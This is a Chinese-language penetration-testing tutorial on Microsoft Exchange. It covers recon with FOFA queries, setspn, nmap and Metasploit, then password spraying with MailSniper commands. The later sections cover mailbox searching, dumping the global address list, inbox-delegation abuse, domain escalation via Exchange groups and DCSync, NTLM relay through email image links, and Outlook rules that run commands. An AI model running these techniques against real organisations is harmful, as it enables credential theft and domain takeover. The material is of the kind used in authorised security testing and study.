标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2994] 作者: 州官 发表于: [2022-02-25]
本文共 [817] 位读者顶过
exchange快速了解FOFA: microsoft exchange 2013:app="Microsoft-Exchange-2013"||app="Microsoft-Exchange-Server-2013-CU21"||app="Microsoft-Exchange-Server-2013-CU17"||app="Microsoft-Exchange-Server-2013-CU23"||app="Microsoft-Exchange-Server-2013-CU13"||app="Microsoft-Exchange-Server-2013-CU22"||app="Microsoft-Exchange-Server-2013-CU11"||app="Microsoft-Exchange-Server-2013-CU2"||app="Microsoft-Exchange-Server-2013-CU16"||app="Microsoft-Exchange-Server-2013-CU19"||app="Microsoft-Exchange-Server-2013-CU3"||app="Microsoft-Exchange-Server-2013-CU18"||app="Microsoft-Exchange-Server-2013-CU5"||app="Microsoft-Exchange-Server-2013-CU20"||app="Microsoft-Exchange-Server-2013-CU12"||app="Microsoft-Exchange-Server-2013-CU15"||app="Microsoft-Exchange-Server-2013-CU10"||app="Microsoft-Exchange-Server-2013-CU9"||app="Microsoft-Exchange-Server-2013-CU6"||app="Microsoft-Exchange-Server-2013-CU7"||app="Microsoft-Exchange-Server-2013-CU1"||app="Microsoft-Exchange-Server-2013-CU14"||app="Microsoft-Exchange-Server-2013-CU8"||app="Microsoft-Exchange-Server-2013-RTM"||app="Microsoft-Exchange-Server-2013-SP1"||app="Microsoft-Exchange-2013"microsoft exchange 2016:app="Microsoft-Exchange-Server-2016-CU19"||app="Microsoft-Exchange-Server-2016-CU3"||app="Microsoft-Exchange-Server-2016-CU12"||app="Microsoft-Exchange-Server-2016-RTM"||app="Microsoft-Exchange-Server-2016-CU7"||app="Microsoft-Exchange-Server-2016-CU17"||app="Microsoft-Exchange-Server-2016-CU2"||app="Microsoft-Exchange-Server-2016-CU1"||app="Microsoft-Exchange-Server-2016-CU14"||app="Microsoft-Exchange-Server-2016-CU5"||app="Microsoft-Exchange-Server-2016-CU11"||app="Microsoft-Exchange-Server-2016-CU9"||app="Microsoft-Exchange-Server-2016-CU16"||app="Microsoft-Exchange-Server-2016-CU10"||app="Microsoft-Exchange-Server-2016-CU6"||app="Microsoft-Exchange-Server-2016-CU13"||app="Microsoft-Exchange-Server-2016-CU18"||app="Microsoft-Exchange-Server-2016-CU8"||app="Microsoft-Exchange-Server-2016-CU4"||app="Microsoft-Exchange-2016-POP3-server"microsoft exchange 2019:app="Microsoft-Exchange-Server-2019-CU5"||app="Microsoft-Exchange-Server-2019-CU3"||app="Microsoft-Exchange-Server-2019-Preview"||app="Microsoft-Exchange-Server-2019-CU8"||app="Microsoft-Exchange-Server-2019-CU1"||app="Microsoft-Exchange-Server-2019-CU7"||app="Microsoft-Exchange-Server-2019-CU2"||app="Microsoft-Exchange-Server-2019-CU6"||app="Microsoft-Exchange-Server-2019-RTM"||app="Microsoft-Exchange-Server-2019-CU4"microsoft exchange 2010:app="Microsoft-Exchange-2010-POP3-server-version-03.1"||app="Microsoft-Exchange-Server-2010"
邮件服务器角色
在exchange 2010中,exchange包含五个服务器角色,分别为邮箱服务器,客户端访问服务器,集线传输服务器,统一消息服务器,边缘传输服务器。[出自:jiwo.org] exchange 2010邮箱服务器 mailbox server,提供托管邮箱,公共文件夹等服务,是必选的服务器角色 客户端访问服务器 client access server,用来接收并处理不同客户端的请求,并提供各种接口给客户以访问Exchange服务,
集线传输服务器 hub transport server,核心服务是Microsoft Exchange Transport,用于处理大多数邮件的路由、策略等以及Mail Flow。起一个邮件传输中继的作用。 统一消息服务器 unified messaging server,用于允许邮箱用户可以在邮件中发送存储语音消息和传真消息,可选角色 边缘传输服务器 edge transport server,通常部署于网络边界。其接受来自内部组织的邮件和来自外部可信服务器的邮件,然后应用特定的反垃圾邮件、反病毒策略,最后将通过策略筛选的邮件路由到内部的集线传输服务器,可选角色 exchange 2013邮箱服务器 托管邮箱、公共文件夹等数据,主要包含集线传输服务(Hub Transport service)和邮箱传输服务(Mailbox Transport service)两大组件服务。 客户端访问服务器 负责认证、重定向、代理来自外部不同客户端的访问请求,主要包含客户端访问服务(Client Access service)和前端传输服务(Front End Transport service)两大组件。 边缘传输服务器 负责路由出站与入站邮件、策略应用等。 接口和协议OWA
owa即 outlook web app,即outlook的网页版。(outlook是exchange的客户端软件,许多电脑都有所预装) ![]() ECP Exchange Administrative Center,即exchange管理中心,管理员的web控制台 ![]() outlook anywhere作用是可以让外网用户直接通过outlook anywhere 直接登录到exchange邮箱而无需使用VPN。该特性在exchange server 2013中默认开启,也就是说在exchange server 2013 以后outlook 不再区分内外网环境。 MAPI于Exchange 2013 SP1和Outlook 2013 SP1中被提出的一种新的outlook与exchange交互传输协议。 EASExchange ActiveSync是一种允许用户通过移动设备或其他便携式设备访问和管理邮件、联系人、日历等Exchange功能的同步协议,在Windows上使用时其进程名称为wcesomm.exe。” EWSExchange Web Service,是exchange提供的一套API编程接口,用于操作exchange相关功能,于exchange server 2007被提出。 功能和服务Autodiscover
Autodiscover,自动发现,是exchange server 2007 推出的一个服务。 GALGAL即全局地址表(global address list)
记录了域中用户的基本信息与其邮箱地址,以形成域用户与邮箱用户之间的关联。 EXCHANGE信息搜集
在渗透中该如何发现哪一台机器是EXCHANGE服务器呢? 发现端口扫描
exchange会对外暴露接口如OWA,ECP等,所以我们可以通过一些端口特征来发现exchange。 ![]() spn如果已经打入域中,想快速的定位到exchange服务器,只需要查询域中spn服务即可。 setspn -q */* ![]()
特殊域名https://autodiscover.domain.com/autodiscover/autodiscover.xmlhttps://owa.domian/owa/https://mail.domain.com/https://webmail.domain.com/寻找接口/autoDiscover/ 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。/ecp/“Exchange Control Panel” Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台/eWS/“Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互/mapi/ Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持/microsoft-Server-ActiveSync/ 用于移动应用程序访问电子邮件/OAB/“Offline Address Book” 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担/owa/“Outlook Web APP” Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等/powerShell/ 用于服务器管理的Exchange管理控制台/Rpc/ 早期的Outlook还使用称为Outlook Anywhere的RPC交互工具使用https://github.com/vysec/checkO365 版本确定可以通过OWA,ECP的HTML源代码确定版本 源代码搜索/owa/
可以看到一串数字 15.0.1130,这是exchange具体版本号,到这里查就行了https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 IP泄露抓包以下接口包,将HTTP版本改为1.0,并删除HOST头,就会暴露exchange ip,有时会暴露内网IP /Microsoft-Server-ActiveSync/default.eas /Microsoft-Server-ActiveSync /Autodiscover/Autodiscover.xml /Autodiscover /Exchange /Rpc /EWS /Exchange.asmx /EWS /Services.wsdl /EWS /ecp /OAB /OWA /aspnet_client /PowerShell
想要更方便的话,可以用msf的模块自动搜集 use auxiliary/scanner/http/owa_iis_internal_ip 泄露exchange服务器信息当我们对exchange服务器进行NTLM质询时,在服务器返回challenge时同时会返回域信息,机器名等信息。以此为基础可以对exchange进行服务器信息搜集 直接nmap nmap host -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll -Pn ![]()
EXCHANGE 外围打点爆破
接触到exchange的第一步自然是接触到它的接口服务如OWA,ECP等。 常见可爆破接口 /Autodiscover/Autodiscover.xml # 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登录使用邮箱的流程。 /Microsoft-Server-ActiveSync/default.eas/Microsoft-Server-ActiveSync # 用于移动应用程序访问电子邮件/Autodiscover/Rpc/# 早期的 Outlook 还使用称为 Outlook Anywhere 的 RPC 交互/EWS/Exchange.asmx/EWS/Services.wsdl/EWS/ # Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互/OAB/ # 用于为Outlook客户端提供地址簿的副本,减轻 Exchange 的负担/owa # Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等/ecp # Exchange 管理中心,管理员用于管理组织中的Exchange 的Web控制台/Mapi # Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持/powershell # 用于服务器管理的 Exchange 管理控制台爆破比较实用的工具有Eburst和Ruler https://github.com/grayddq/EBurst (py) https://github.com/sensepost/ruler (exe) ruler由于windows版的显示似乎有点问腿,这里用的linux版本
ps://github.com/dafthack/MailSniper (ps1) 下面的是密码喷洒的攻击方式,-Password项也可以设置为一个记录password的字典txt 对OWA进行爆破Import-Module .\MailSniper.ps1Invoke-PasswordSprayOWA -ExchHostname OWAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose对EWS进行爆破Invoke-PasswordSprayEWS -ExchHostname EWSHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose EXCHANGE 后渗透邮件内容检索我们获取一个exchange用户以后,可以对邮件列表进行检索获取敏感信息,方便下一步渗透 MailSniper 可以完成这个任务,但是这个工具感觉被杀的比较严重,可以试着修改一下函数名变量名啥的免免杀。 检索指定用户 检索rengan@const.com的 收件箱文件夹里的 内容含有机密的 邮件,在启用remote参数后会弹出一个输入框输入邮箱票据Invoke-SelfSearch -Mailbox rengan@const.com -Terms *机密* -Folder 收件箱 -ExchangeVersion Exchange2013_SP1 -remote -OutputCsv a.csv 可以发现在中文的exchange下,用户的邮件一般存放于””收件箱””文件夹,而对于英文则是”inbox”
获取全局地址表依旧通过MailSniper 实现,在我们获得一个合法用户的凭据以后,就可以通过获取全局地址表来获取所有邮箱地址。 Get-GlobalAddressList -ExchHostname Ex -UserName rengan -ExchangeVersion Exchange2013_SP1 -Password ganren@123456![]()
查找存在缺陷的用户邮箱权限委派一个用户的文件夹是可以给其他用户权限的。 ![]()
点击此处的权限,来到以下界面,这里的默认即 所有用户(everyone) 的对此文件夹的权限,我这里是把权限给的很高
实战中也可能会遇到用户A对用户B的收件箱有读写权限的情况,所以我们在获取用户A的凭据后可以进而读取用户B的收件箱。 用MailSniper 实现 Invoke-OpenInboxFinder -ExchangeVersion Exchange2013_SP1 -ExchHostname ex.const.com -EmailList.\user.txt -remote ![]()
既然这里对administrator的收件箱可读,那么就可以用invoke-selfsearch 进行详细的邮件检索了。 通过exchange用户组进行域提权exchange安装后会在AD上生成两个容器 ![]()
其中exchange windows permissions组的用户拥有writeDACL权限, Exchange Trusted Subsystem 是 Exchange Windows Permission 的成员,能继承writedacl权限,有这个权限后就能使用dcsync导出所有用户hash。
同时,在安装exchange后还会生成一个组Organization Management,这个组可以修改其他exchange组的用户信息,所以当然也可以修改Exchange Trusted Subsystem组的成员信息,比如向里面加一个以获得的用户。
综上所述,只要获得Organization Management,Exchange Trusted Subsystem,Exchange Windows Permission,就可以通过dcsync来获取整个域权限。 NTLM relay
用exchange也可以很方便的进行NTLM relay:给用户发一封邮件,其中包含的图片链接形如 \\10.10.10.1\a.jpg,用户收到邮件后则会向10.10.10.1发送NTLM质询,从而造成NTLM relay。 OUTLOOK 命令执行
OUTLOOK 客户端有一个 规则与通知 的功能,通过该功能可以使outlook客户端在指定情况下执行指定的指令。若我们获得某用户的凭证,可以通过此功能设置“用户收到含指定字符的邮件时 执行指定的指令比如clac.exe”,当用户登录outlook客户端并访问到此邮件时,它的电脑便会执行calc.exe。 具体步骤为打开规则与通知功能,然后新建功能,在接收到某条件邮件时启动指定应用程序 ![]()
收到含abc内容的邮件后,成功弹计算器。
|